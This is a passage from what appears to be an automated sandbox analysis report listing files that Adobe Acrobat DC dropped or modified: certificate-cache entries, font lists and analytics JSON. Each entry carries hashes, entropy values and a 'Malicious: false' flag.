Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7608141181749795
Encrypted:	false
SSDEEP:	3:kkFklEtMtfllXlE/HT8kElXNNX8RolJuRdxLlGB9lQRYwpDdt:kKdyeT8X7NMa8RdWBwRd
MD5:	A9AC6A8B33985EEAD6DBCF9FCB227DF6
SHA1:	06948DAB9A4AFE58C7004160C01F68E067591744
SHA-256:	EC54C152E1B23AEBE8B9C2DB3EE755D860CD20F4131A8D0E1951982AC1BB1574
SHA-512:	4016180BE849E478AFA54F1B60644CBCF7F8FF6C1F9ED8164CA676F1107621FE8B3ACE67AA592CF27A0943A5BBA68114662565ECE0280D156B9C8A208B52DAB2
Malicious:	false
Preview:	p...... ........7...rc..(....................................................... ..........W.....,..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1173948687013717
Encrypted:	false
SSDEEP:	6:kKFzXpk3/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NpsiDnLNkPlE99SNxAhUe/3
MD5:	C037D9838E1B0CFEB7F911ED4B32FFB8
SHA1:	1B8821AD02023D423EF2FFC1705B316B97BE4341
SHA-256:	1C7C197F22F9858AB3FF7C48977839EE9865271955B8AD9468F8ACCF56F746C7
SHA-512:	3DFDD0168D9A330A42704FF1242594D00E895B9370319970682A101DBBA0D34C8E29978240DA9444E715367D5E67CFD1316A62939AC4041C40F16BE6419FAF91
Malicious:	false
Preview:	p...... ..........e.rc..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8100

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8100

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363275040699474
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJM3g98kUwPeUkwRe9:YvXKX6JQWWT5LjIPm2GMbLUkee9
MD5:	3AB84A7FC38C513A3BC901941C2AB70D
SHA1:	FF13DF06EDE496472CDE5FA28FF913731F59FF08
SHA-256:	C3A5FE3E99590D6FB923B468D5EBEAB52F6F1A9AB088E9959B4D647EB312CED4
SHA-512:	ADC5067EE861874EF928D89C7148135BC43F9E5AD581D954C00CFF4F5615AEA21F66D64818A58F65D0734AB9EF2633EE594F5042379CFAB2A7F48EEBBEA4DCBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31721491686865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfBoTfXpnrPeUkwRe9:YvXKX6JQWWT5LjIPm2GWTfXcUkee9
MD5:	438DE6B4EEF13813DB2209203C161567
SHA1:	1DB0A40B38006D6B1C075C946949FD554BA2A4EC
SHA-256:	76C2DF9C19DB7AD0554D7F2EBBADD867FB9C36818DA80E403A797BDFC0C07E2E
SHA-512:	9C654AE2CEE21AE483066F26EA32A7E033819BB897F233408A3584D4B01950594F83D94A479DF89614798BB9F5348B60D46A3E33AAF0248305A4714966015522
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296701486006052
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfBD2G6UpnrPeUkwRe9:YvXKX6JQWWT5LjIPm2GR22cUkee9
MD5:	AB57C632B0F896F69377B273AC9E5734
SHA1:	A43EA142B025975E058F55001072225D00501D7A
SHA-256:	8D315FC454F5D8718375F3677305C283E8B04DAA7AF6569507E79BEF942DEABA
SHA-512:	8DC943BDA2275CC1A7A2AB17FECADB71BD2A56B1A4DC815ED53407400B605B40B6FA639FF522B5DDF15C206D450FFBD302FC739B1CED3FF4E0E297F95CF02788
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344273973411979
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfPmwrPeUkwRe9:YvXKX6JQWWT5LjIPm2GH56Ukee9
MD5:	5B9D86BDD6A19D06DD747EBBB943B333
SHA1:	CCB41DA8E528C68DFE5921FE2F35DBCA50585A66
SHA-256:	7259994A1CE8BB300866E1EBCBFC5BE9CA3D784B5E97DEDF0DBB67889C6D286E
SHA-512:	3F10405FDB01BA71AE1D21A234BE98C2FA6D4C4A8588C7B58ED1A3754C1B263E86CBE62A60D1D34BD37DB30DC7ACAD0F90BDFD61F70967334EDC74B2A9EF95B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.696207699937272
Encrypted:	false
SSDEEP:	24:Yv6X6mrT5XI4pLgE9cQx8LennAvzBvkn0RCmK8czOCCSu:Yv52XZhgy6SAFv5Ah8cv/u
MD5:	99D7B824109F488A1A45698840F948E7
SHA1:	2DC74463CB8EB335315B5B9B1B5C4DF895ED84E3
SHA-256:	2413F33A5DB04C4E8FB491BF4F26BB67242BF51AD496387C31FEB31975CA8360
SHA-512:	7363D8E24536CCE66AFC1076DBF3F0AE4DD6DA282CC59C1A85A0B6655288C88835005E6C5BF3581D14A7F5BB3FB01B83B223E95D8B26BD4A3E5336819B7AF700
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316862060750256
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJf8dPeUkwRe9:YvXKX6JQWWT5LjIPm2GU8Ukee9
MD5:	8F1CF0607ACC14D210FB3BB1135A918C
SHA1:	997A43E92EE1FE1367176D6F32296B56DDEDBE61
SHA-256:	E78FAC0D869248D838158CDCD29B1FF14E34DBE4E96D1D5A385787CBC1C8A4F3
SHA-512:	8AE6F4F8B9CFDFD9C798C02E0A9237425C72A4B406DCA1AF4E1066BF6BB432B82F51EB8DEBCCBF9E58751F33651453D488DF25F5CE0DA266B3B3A079EE4BEB33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.307918676196266
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfQ1rPeUkwRe9:YvXKX6JQWWT5LjIPm2GY16Ukee9
MD5:	4996A305742720E3BE32FD19B501DD2B
SHA1:	776CB01D307F93983F33F04739E57A1CF5166670
SHA-256:	83324FBB07126E7128C2EC5438A24709C8A1B195282DA44B3A3BF1C9E7778F4E
SHA-512:	40C4D37B7F891A676F85C68AA2032148687E94025AD91A58C931D5AD10C3755E0CA74989FA43F85506747E755AE81A46171796B4BDBD249C462A7D7E572E7A03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324038648712702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfFldPeUkwRe9:YvXKX6JQWWT5LjIPm2Gz8Ukee9
MD5:	A271EE6A82BEE3858AD4F39F951D1DD9
SHA1:	B6788D5CDE335469C232FF8FDB63E4EBD64C0CB2
SHA-256:	4B95443D22D336E526196633303D0384940D988E7DFAEDF14DCA9F6D8512C73D
SHA-512:	BFB2FD83335883C363922F326C758E7F0E6BEC181EBFA37EE5FE56F9D74281EAB62504B91F652237FE5867961AF8FBAFAD8686CABFEE842620FABBB6B3BCB58A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341904621833784
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfzdPeUkwRe9:YvXKX6JQWWT5LjIPm2Gb8Ukee9
MD5:	F309071BB6E4828624924766E23A6C92
SHA1:	D7CBCA67ABA5361B28BBFAAF633041832B5992BB
SHA-256:	B7FB6C89C3383716F0AA8EF3EEF7FD0BFEA933CB62E24ABAA065BAA1F8EB25B7
SHA-512:	656BD395E06541E3A46C15E712910EA6F17152E8F00106E7A425735C979718A83E6468190B40036B8FF87246ECB5C0A44F5D97D2A6BF89C0539E0B519DE5911F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322722525791005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfYdPeUkwRe9:YvXKX6JQWWT5LjIPm2Gg8Ukee9
MD5:	C0710A60ADC1A4383FDF493FAE011879
SHA1:	6F2EA4288410270D2043CDEFA1000AB762410FF3
